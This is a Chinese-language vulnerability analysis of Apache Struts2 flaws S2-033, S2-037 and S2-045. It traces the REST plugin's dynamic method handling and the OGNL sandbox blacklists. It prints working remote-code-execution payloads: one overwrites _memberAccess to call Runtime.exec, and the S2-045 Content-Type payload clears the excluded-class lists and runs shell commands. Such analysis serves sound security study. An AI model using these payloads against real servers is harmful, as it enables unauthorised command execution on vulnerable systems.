S2-033和s2-037的区别是,是否需要开启动态方法调用这两个漏洞产生的点差不多,只不过s2-033的点需要allowDynamicMethodCalls
为TRUE,s2-037不需要,具体看下面分析
什么是REST呢
1. REST描述的是在网络中client和server的一种交互形式;REST本身不实用,实用的是如何设计 RESTful API(REST风格的网络接口);
2. Server提供的RESTful API中,URL中只使用名词来指定资源,原则上不使用动词。“资源”是REST架构或者说整个网络处理的核心。
poc
#[email protected]@DEFAULT_MEMBER_ACCESS,#xx=123,#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app
调用堆栈
最后注入的点
在lib/struts2-rest-plugin-2.3.20.1.jar!/org/apache/struts2/rest/RestActionMapper.class
找到处理url的点,
public ActionMapping getMapping(HttpServletRequest request, ConfigurationManager configManager) { ActionMapping mapping = new ActionMapping(); String uri = RequestUtils.getUri(request); uri = this.dropExtension(uri, mapping); if (uri == null) { return null; } else { this.parseNameAndNamespace(uri, mapping, configManager); this.handleSpecialParameters(request, mapping); if (mapping.getName() == null) { return null; } else { this.handleDynamicMethodInvocation(mapping, mapping.getName());
跟进handleDynamicMethodInvocation
没有任何过滤,只要allowDynamicMethodCalls=True
就会将我们的payload设置为method,然后经过一系列操作会到达
看handleDynamicMethodInvocation
方法下面
这里没有了allowDynamicMethodCalls
的限制,直接设置了method,也就s2-037了。
Struts 2.3.20 配置文件新增加了参数为struts.excludedClasses,此参数为了严格验证排除一些不安全的对象类型。
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
ognl.OgnlContext,
ognl.MemberAccess,
ognl.ClassResolver,
ognl.TypeConverter,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" />
"java.lang.Classs"值过滤struts标签中静态方法调用。
既然放在了s2-033下,当然拿它的payload来聊沙箱绕过咯
#[email protected]@DEFAULT_MEMBER_ACCESS,#xx=123,#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr=#context[#parameters.obj[0]].getWriter(),#wr.print(#rs),#wr.close(),#xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=open /Applications/Calculator.app
这个poc是去覆盖掉了_memberAccess
,在我们之前的poc中,是利用上下文中的某些变量来去突破静态方法的限制来执行命令,但是这次struts2的修复在上下文中去除掉了一些类,即使突破了也没办法去调用,这里的思路呢是去覆盖掉SecurityMemeberAccess
对象,为什么用DEFAULT_MEMBER_ACCESS
去覆盖呢
public static final MemberAccess DEFAULT_MEMBER_ACCESS = new DefaultMemberAccess(false);
它是SecurityMemberAccess
的父类的实例,可以看到SecurityMemberAccess类中实现了很多安全操作,看一下没有覆盖的时候
再来看一下覆盖之后的
另外可以看到poc里面用#parameters
来获取的部分,原因是因为引号在传递中被转义了,导致ognl语法错误
官方文档上有写
Application − Application scoped variables
Session − Session scoped variables
Root / value stack − All your action variables are stored here
Request − Request scoped variables
Parameters − Request parameters
Atributes − The attributes stored in page, request, session and application scope
这个漏洞在文章https://xz.aliyun.com/t/4662
中写过,这里不再细写
这个漏洞主要是因为在上传时使用Jakarta
进行解析时,但是如果content-type
错误的会进入异常,然后注入OGNL。
poc
Content-Type: %{(#nike='multipart/form-data').((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------96954656263154098574003468
diff一下看一下沙盒是怎么做的防护
可以看到上次的poc中的MemberAccess
和DefaultMemberAccess
都已经进入了黑名单
其实看这次的poc可以看出是利用container
来获取了ognlUtil
实例,然后我们可以知道黑名单是存储到set中的,利于clear直接清除掉,然后利用setMemberAccess
覆盖回去,上面有一个关键的点就是使用getInstance()
进行实例化,属于单例模式,一般用于比较大,复杂的对象,只初始化一次,而getInstance保证了每次调用都返回相同的对象。
那么我们清除了黑名单就绕过了沙盒的防御,从而RCE。
参考
https://www.secpulse.com/archives/82578.html
https://www.tutorialspoint.com/struts_2/struts_value_stack_ognl.htm
https://xz.aliyun.com/t/3395